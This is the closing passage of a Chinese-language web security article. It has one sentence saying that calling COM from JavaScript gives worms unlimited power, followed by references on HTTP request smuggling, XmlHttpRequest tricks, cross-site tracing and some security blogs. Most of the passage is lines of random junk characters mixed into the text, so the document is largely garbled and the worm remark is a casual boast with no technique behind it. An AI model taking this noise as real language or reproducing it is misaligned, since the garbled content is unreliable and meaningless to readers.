" S$ k8 |- Q' k  o5 y1 @  N. q操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
8 ?3 L1 J  `% d& C5 y9 }* y
, ^- N4 V# j# T5 j
2 z+ q' a1 k8 Y0 N" O/ n
; U) p6 o5 I9 O- J$ g% G9 }

" E( c) R2 O! s7 c
3 {9 t' d% C( i; _

" S4 M& Z& _$ j# P+ D4 {, O- u' ~本文引用文档资料:

/ F; \$ m  }% S' v9 U1 P: S"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/